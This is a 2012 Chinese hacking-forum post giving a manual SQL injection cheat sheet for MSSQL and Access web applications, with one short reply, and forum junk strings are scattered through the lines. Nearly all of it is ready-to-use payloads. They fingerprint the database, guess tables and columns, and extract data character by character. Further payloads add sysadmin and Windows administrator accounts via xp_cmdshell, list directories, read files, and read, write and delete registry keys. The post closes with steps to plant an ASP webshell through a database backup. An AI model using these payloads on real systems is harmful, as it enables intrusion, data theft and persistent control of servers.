找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2309|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 : T/ a( E6 N' z$ I
1.判断是否有注入;and 1=1 ;and 1=2
. P1 M2 k! E2 r. |
) d4 B5 Z) Z: o1 l2.初步判断是否是mssql ;and user>0 4 t9 q, z- G3 M- h, V

; M! s$ k) k1 z$ q- H3.注入参数是字符'and [查询条件] and ''='
! m- L+ g, o0 F5 {
1 W7 e" c- `$ U/ \4.搜索时没过滤参数的'and [查询条件] and '%25'=' ) \/ q1 R' v# r& H" n

  g' i# O8 c. @3 c5.判断数据库系统
7 k* F0 M5 `* Y6 C1 d# d;and (select count(*) from sysobjects)>0 mssql
  n' _1 m9 ]  ?# `;and (select count(*) from msysobjects)>0 access ; e) O0 P4 O  K# `* `7 ^: J

, E$ y; _* R1 [6.猜数据库 ;and (select Count(*) from [数据库名])>0 : r  \6 _3 C. n0 N0 v- S
; _& L4 i9 @8 `3 |
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 " l0 p) z- l7 s  N- V9 I! u( D

. j$ t9 A+ t8 V; |7 I, B4 L8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
! J5 C3 {; S* L$ J5 w  F/ D+ o! f0 z, z
9.(1)猜字段的ascii值(access) * @! b* h6 X2 A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
- g% Z* @- B; f) G+ q7 ~: p7 a/ O; O1 `' k! i% r
(2)猜字段的ascii值(mssql) & e6 A8 D$ w  _& b" H
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ' j$ t$ k8 U: y& J6 P" W
* _5 Y' x# _- F5 `# M- z$ Y
10.测试权限结构(mssql) 5 u- O7 j5 }: x7 ~0 S2 K/ F3 y) M
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ Z1 Y* {8 K2 y: K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4 `" K1 @5 @" [9 d3 C( ^4 V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 N* g- d0 x  w# O* M/ v2 W) m3 F8 G;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- . ]8 p  M4 [7 |" t: R4 V% o
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# n9 U7 w' ^/ i, K1 a: L+ ~;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( J8 V) R" X6 q! F" S( Y;and 1=(select IS_MEMBER('db_owner'));--
& L  \) G) Q" x3 o" p9 R& c6 y8 _) w. }, J5 f) L
11.添加mssql和系统的帐户 ; h& h* M3 @8 I; R
;exec master.dbo.sp_addlogin username;-- " y$ P% `1 d3 e  y6 i
. \: A* a' _! S2 B2 |( `4 t
;exec master.dbo.sp_password null,username,password;-- 1 u9 G/ A; g6 G2 O; R

2 w! X; m) @2 u" v: @% K;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " i" K4 P# \+ k8 e" p2 C+ N" \
( e& s+ w& x# c+ ?4 m
;exec master.dbo.xp_cmdshell 'net user username password $ e; q1 S* y1 p# O0 a  \
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
) ?* d9 a4 E0 v5 F7 q5 [. v  t4 h# {- A6 @, E
;exec master.dbo.xp_cmdshell 'net user username password /add';--
0 V" |1 I9 P5 d# I# j/ T5 r+ {" }9 Y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 9 i. d7 E/ f! J% O1 O
+ r  u8 B% c0 u2 x3 [8 j  q
12.(1)遍历目录
1 n! x0 H+ F8 `- k1 s6 R4 @
# Y( l/ |) j: _. w. I;create table dirs(paths varchar(100), id int) ; l2 H1 Z! S% i5 Q8 b& ~
;insert dirs exec master.dbo.xp_dirtree 'c:\' : g' b8 d+ H" d7 k4 y& l1 B0 _! E
;and (select top 1 paths from dirs)>0
$ p# \4 Y5 n  N" c' D& O;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ k3 S* n3 B/ ]8 G+ p) D2 P
- O7 _" g5 I; U: i! N9 A( O" [: I(2)遍历目录 ) @0 @  L' V( i2 c$ h3 }0 C& @
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * s* N: s& B1 m3 t0 [
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6 [( g2 t' i; C6 I% s
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 X. a7 T5 j& @5 c& ]# `0 e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3 l9 _; ?! D) D- E7 G$ }3 G0 [
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
# z* U3 j7 i$ E: x5 H- n$ d
! L& N; Z$ x1 \0 P/ n# l7 {# J13.mssql中的存储过程 4 k% |9 i" E" p0 k) r- \
2 s/ J+ H  R" v# K9 O: Q4 p0 y9 Z+ _6 Z& Q
xp_regenumvalues 注册表根键, 子键 ( l3 N& X3 k/ ~8 X; y3 p9 X7 f( N
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3 x: x' D- Q' ^6 M5 @2 d

: H  O0 K  T1 r+ l2 q! d) N8 Ixp_regread 根键,子键,键值名 $ z" ~. w6 z7 l' f1 Y( Y+ v" w+ X
;exec xp_regread
( u# Y. H8 ?; Z( a'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 e- S3 a4 b) K) w, S! ~1 ^
- Y! P  Z+ F6 l5 |3 K7 N! txp_regwrite 根键,子键, 值名, 值类型, 值 : V, v) x2 K' H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 G4 f* |! R' ~" s  m" w
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 # s- ^7 J, F9 J  ^" u

8 E: Y0 i' p# V1 s6 ?6 A) Zxp_regdeletevalue 根键,子键,值名
3 ~% {; }5 m$ U1 `/ |- ^" |$ j3 j; w% o( x, y9 q4 J% ^, b
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 + j: _- Q" @! q  C6 y0 W

5 L) s5 h! A8 X2 [; d  y1 Kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
8 A& k( m8 {6 A- a& O1 ^4 G6 s" R" l" M& f. L% ]/ M
14.mssql的backup创建webshell ) f: k6 i; j$ d6 }
use model : v5 p( C  r9 g: }3 y" H
create table cmd(str image); * E% H2 }: ?! p, s6 e6 X( P
insert into cmd(str) values ('');
0 U6 y! j, q' [' K% P4 ibackup database model to disk='c:\l.asp';
; I1 S9 X) A" v; L7 K! l* R& u4 ^$ S7 s) G/ X8 F7 u
15.mssql内置函数 9 d( f% N; @* ^0 _$ q% @
;and (select @@version)>0 获得Windows的版本号 * h! w/ W4 f" j3 Z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
  q& V! x! ^3 [# X;and (select user_name())>0 爆当前系统的连接用户 ; z% u2 F5 p" C. n0 {" \! c
;and (select db_name())>0 得到当前连接的数据库 ' h0 l* N- D/ |

8 ~" f, b: [% x3 W; U. E, }  w+ @16.简洁的webshell # v) J* S2 J, t

$ u. \% T; i5 d0 puse model
+ S  v( T9 B( G9 t# |* l3 s( A6 p* p! d: u! B
create table cmd(str image); ' L4 L9 C+ T9 f' q8 {

( G$ \0 k1 o: Z7 }: U! Zinsert into cmd(str) values ('');
$ I8 w2 F: n6 w' R. y  m' `" F6 J) E# L) |
backup database model to disk='g:\wwwtest\l.asp'; ' \6 w8 R8 V! z+ t& a1 _
  q0 L8 H! Q* g% K$ F" H2 _0 E
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表